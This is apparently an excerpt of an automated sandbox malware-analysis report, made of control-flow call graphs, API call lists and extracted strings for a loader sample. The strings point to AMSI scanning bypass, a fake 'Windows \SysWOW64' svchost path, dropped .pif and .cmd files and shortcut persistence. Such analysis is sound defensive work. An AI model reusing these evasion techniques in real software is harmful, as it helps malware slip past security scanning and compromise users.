call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4de0 * 2 call 28f4764 8636->8655 8782 29179b9-291800b call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f47ec call 28f49a0 call 2908488 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f49a0 call 28f46d4 call 290acb0 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f36d0 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 8637->8782 8783 29184e8-29186e7 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f48ec 8637->8783 9315 29166aa-29166b1 call 290df80 8655->9315 9550 2918012-29182d4 call 2905aec call 28f4bcc call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f49f8 call 2907e50 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290afd0 8782->9550 9551 291800d-2918010 8782->9551 8959 2919571-29196f4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f48ec 8783->8959 8960 29186ed-29188c0 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f47ec call 28f49a0 call 28f4d74 call 28f4df0 CreateProcessAsUserW 8783->8960 9142 2919ea0-2919f0b call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 8959->9142 9143 29196fa-2919709 call 28f48ec 8959->9143 9171 29188c2-2918939 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 8960->9171 9172 291893e-2918a49 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 8960->9172 9207 2919f10-2919f17 call 290889c 9142->9207 9143->9142 9154 291970f-29199e2 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290f388 call 28f4860 call 28f49a0 call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f7e5c 9143->9154 9575 29199e8-2919c89 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4de0 * 2 call 28f4764 9154->9575 9576 2919c9a-2919d05 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 9154->9576 9171->9172 9329 2918a50-2918d70 call 28f49f8 call 290e144 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290d01c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 9172->9329 9330 2918a4b-2918a4e 9172->9330 9220 2919f1c-291a036 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 9207->9220 9386 291a03b-291a042 call 290889c 9220->9386 9326 29166b6-2916721 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 9315->9326 9385 2916726-291672d call 290889c 9326->9385 9864 2918d72-2918d84 call 29085fc 9329->9864 9865 2918d89-2919490 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c ResumeThread call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c CloseHandle call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907f4c call 2908818 * 6 CloseHandle 9329->9865 9330->9329 9396 2916732-29168b5 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f48ec 9385->9396 9397 291a047-291a069 call 28f46d4 * 2 9386->9397 9629 2916b19-2916b84 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 9396->9629 9630 29168bb-2916b08 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f4d74 call 28f4de0 call 28f4764 9396->9630 9414 291a06e-291a075 call 290889c 9397->9414 9424 291a07a-291a09c call 28f46d4 * 2 9414->9424 9445 291a0a1-291a0a8 call 290889c 9424->9445 9456 291a0ad-291a0cf call 28f46d4 * 2 9445->9456 9477 291a0d4-291a0db call 290889c 9456->9477 9488 291a0e0-291a14b call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 9477->9488 9546 291a150-291a157 call 290889c 9488->9546 9558 291a15c-291a276 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 9546->9558 10098 29182d9-29182f0 call 28f3700 9550->10098 9551->9550 9764 291a27b-291a282 call 290889c 9558->9764 10087 2919c8e-2919c95 call 290df80 9575->10087 9654 2919d0a-2919d11 call 290889c 9576->9654 9711 2916b89-2916b90 call 290889c 9629->9711 10078 2916b0d-2916b14 call 290df80 9630->10078 9669 2919d16-2919e8f call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f49f8 9654->9669 9977 2919e94-2919e9b call 2908c28 9669->9977 9727 2916b95-2917210 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f36d0 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f2f08 call 28f7990 call 28f47ec call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f2f08 call 28f7990 call 28f47ec call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 9711->9727 10482 2917215-2917222 call 2904dd4 9727->10482 9779 291a287-291a2a9 call 28f46d4 * 2 9764->9779 9803 291a2ae-291a2b5 call 290889c 9779->9803 9817 291a2ba-291a2dc call 28f46d4 * 2 9803->9817 9847 291a2e1-291a2e8 call 290889c 9817->9847 9861 291a2ed-291a30f call 28f46d4 * 2 9847->9861 9893 291a314-291a31b call 290889c 9861->9893 9864->9865 10550 2919495-291956c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 9865->10550 9902 291a320-291a342 call 28f46d4 * 2 9893->9902 9931 291a347-291a34e call 290889c 9902->9931 9946 291a353-291a3be call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 9931->9946 10023 291a3c3-291a3ca call 290889c 9946->10023 9977->9142 10035 291a3cf-291a614 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 10023->10035 10265 291a619-291a620 call 290889c 10035->10265 10078->9629 10087->9576 10270 291a625-291a647 call 28f46d4 * 2 10265->10270 10283 291a64c-291a653 call 290889c 10270->10283 10289 291a658-291a67a call 28f46d4 * 2 10283->10289 10300 291a67f-291a686 call 290889c 10289->10300 10306 291a68b-291a6ad call 28f46d4 * 2 10300->10306 10318 291a6b2-291a6b9 call 290889c 10306->10318 10325 291a6be-291ab58 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c * 5 10318->10325 10628 291ab5d-291abb2 call 290889c * 6 10325->10628 10488 2917225-291723c call 28f3700 10482->10488 10550->8959 10640 291abb7-291abc1 call 290889c 10628->10640 10642 291abc6-291abee call 290889c * 3 10640->10642 10648 291abf3-291af79 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 10642->10648 10752 291af7e-291af85 call 290889c 10648->10752 10754 291af8a-291afac call 28f46d4 * 2 10752->10754 10758 291afb1-291afb8 call 290889c 10754->10758 10760 291afbd-291afdf call 28f46d4 * 2 10758->10760 10764 291afe4-291afeb call 290889c 10760->10764 10766 291aff0-291b012 call 28f46d4 * 2 10764->10766 10770 291b017-291b01e call 290889c 10766->10770 10772 291b023-291b045 call 28f46d4 * 2 10770->10772 10776 291b04a-291b051 call 290889c 10772->10776 10778 291b056-291b49e call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 2907c10 call 2908204 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 10776->10778 10908 291b4a3-291b4a5 ExitProcess 10778->10908
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 0290889C: LoadLibraryA.KERNEL32(00000000,00000000,02908983), ref: 029088D0
                                                                                                                                                            • Part of subcall function 0290889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02908983), ref: 029088E0
                                                                                                                                                            • Part of subcall function 0290889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 029088F9
                                                                                                                                                            • Part of subcall function 0290889C: FreeLibrary.KERNEL32(74AE0000,00000000,0294B388,Function_0000662C,00000004,0294B398,0294B388,000186A3,00000040,0294B39C,74AE0000,00000000,00000000,00000000,00000000,02908983), ref: 02908963
                                                                                                                                                            • Part of subcall function 028F7E5C: GetFileAttributesA.KERNEL32(00000000,?,02910714,ScanString,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanString,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,UacInitialize), ref: 028F7E67
                                                                                                                                                          • Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,0291BD74), ref: 0291549F
                                                                                                                                                            • Part of subcall function 0290DEF8: Rt.N(?,?,00000000,0290DF72), ref: 0290DF20
                                                                                                                                                            • Part of subcall function 0290DEF8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,0290DF72), ref: 0290DF36
                                                                                                                                                            • Part of subcall function 0290DEF8: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,0290DF72), ref: 0290DF55
                                                                                                                                                          • Sleep.KERNEL32(000007D0,ScanBuffer,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4), ref: 0291458A
                                                                                                                                                            • Part of subcall function 0290DF80: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0290E052), ref: 0290DFBF
                                                                                                                                                            • Part of subcall function 0290DF80: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0290DFF9
                                                                                                                                                            • Part of subcall function 0290DF80: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0290E026
                                                                                                                                                            • Part of subcall function 0290DF80: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0290E02F
                                                                                                                                                            • Part of subcall function 02908818: LoadLibraryW.KERNEL32(bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize,0294B3A4,0290A7F4,UacScan), ref: 0290882C
                                                                                                                                                            • Part of subcall function 02908818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02908846
                                                                                                                                                            • Part of subcall function 02908818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize), ref: 02908882
                                                                                                                                                            • Part of subcall function 02908784: LoadLibraryW.KERNEL32(amsi), ref: 0290878D
                                                                                                                                                            • Part of subcall function 02908784: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 029087EC
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Library$FilePath$FreeLoad$AddressNameName_ProcSleep$AttributesCloseCreateDeleteHandleModuleWrite
                                                                                                                                                          • String ID: .url$@echo off@%.%e%%c% %h% %o%.oo.% %.%o%$C:\Users\Public\$C:\Users\Public\alpha.pif$C:\Users\Public\xkn.pif$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.pif$FX.c$HotKey=$IconIndex=$Initialize$NEO.c$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
                                                                                                                                                          • API String ID: 3260000616-127592166
                                                                                                                                                          • Opcode ID: 73adecf8fd7b3fbc222dbde5cad72bd325e767f480913374e9d3f21a37af2408
                                                                                                                                                          • Instruction ID: 22b15f325dd6a78abaf103e8fa5d1e529f0873035454006a4d0e706d23e61a1b
                                                                                                                                                          • Opcode Fuzzy Hash: 73adecf8fd7b3fbc222dbde5cad72bd325e767f480913374e9d3f21a37af2408
                                                                                                                                                          • Instruction Fuzzy Hash: 73430B3DB1415D9FDB51EB69DC90EDA73B6BB84308F1044E29609EB254DB70AE82CF42
                                                                                                                                                          Function 0290E96C Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 562synchronizationCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 10935 290e96c-290e970 10936 290e975-290e97a 10935->10936 10936->10936 10937 290e97c-290ef75 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4740 * 2 call 28f4860 call 28f4778 call 28f30d4 call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4740 call 28f7f2c call 28f49a0 call 28f4d74 call 28f4df0 call 28f4740 call 28f49a0 call 28f4d74 call 28f4df0 call 2908654 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 10936->10937 11140 290f1d6-290f223 call 28f4500 call 28f4c60 call 28f4500 call 28f4c60 call 28f4500 10937->11140 11141 290ef7b-290f1d1 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c WaitForSingleObject CloseHandle * 2 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2908818 * 3 10937->11141 11141->11140
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 0290889C: LoadLibraryA.KERNEL32(00000000,00000000,02908983), ref: 029088D0
                                                                                                                                                            • Part of subcall function 0290889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02908983), ref: 029088E0
                                                                                                                                                            • Part of subcall function 0290889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 029088F9
                                                                                                                                                            • Part of subcall function 0290889C: FreeLibrary.KERNEL32(74AE0000,00000000,0294B388,Function_0000662C,00000004,0294B398,0294B388,000186A3,00000040,0294B39C,74AE0000,00000000,00000000,00000000,00000000,02908983), ref: 02908963
                                                                                                                                                            • Part of subcall function 02908654: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 029086E0
                                                                                                                                                            • Part of subcall function 02908818: LoadLibraryW.KERNEL32(bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize,0294B3A4,0290A7F4,UacScan), ref: 0290882C
                                                                                                                                                            • Part of subcall function 02908818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02908846
                                                                                                                                                            • Part of subcall function 02908818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize), ref: 02908882
                                                                                                                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,0294B37C,0290F240,OpenSession,0294B37C,0290F240,UacScan,0294B37C,0290F240,ScanBuffer,0294B37C,0290F240,OpenSession,0294B37C), ref: 0290F062
                                                                                                                                                          • CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,0294B37C,0290F240,OpenSession,0294B37C,0290F240,UacScan,0294B37C,0290F240,ScanBuffer,0294B37C,0290F240,OpenSession), ref: 0290F06A
                                                                                                                                                          • CloseHandle.KERNEL32(000008E4,00000000,00000000,000000FF,ScanString,0294B37C,0290F240,OpenSession,0294B37C,0290F240,UacScan,0294B37C,0290F240,ScanBuffer,0294B37C,0290F240), ref: 0290F073
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Library$Handle$AddressCloseFreeLoadProc$CreateModuleObjectProcessSingleUserWait
                                                                                                                                                          • String ID: "C:\Users\Public\NsltarpnF.cmd" $Amsi$AmsiOpenSession$Initialize$NtOpenProcess$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacScan$ntdll
                                                                                                                                                          • API String ID: 1374282660-2666271024
                                                                                                                                                          • Opcode ID: 32123da5e5b83a23879dfe247ba1496bfe20a9990836253916156f55efa3091e
                                                                                                                                                          • Instruction ID: be1fe8276decbc4d856c110792120a397c313a1bacb02ecc3012ec16c9cfebe1
                                                                                                                                                          • Opcode Fuzzy Hash: 32123da5e5b83a23879dfe247ba1496bfe20a9990836253916156f55efa3091e
                                                                                                                                                          • Instruction Fuzzy Hash: B922CF3CB1015D9FDB50EB68D8C1B8F73BAAF89700F1041A2A705EB694DE70AE458F56
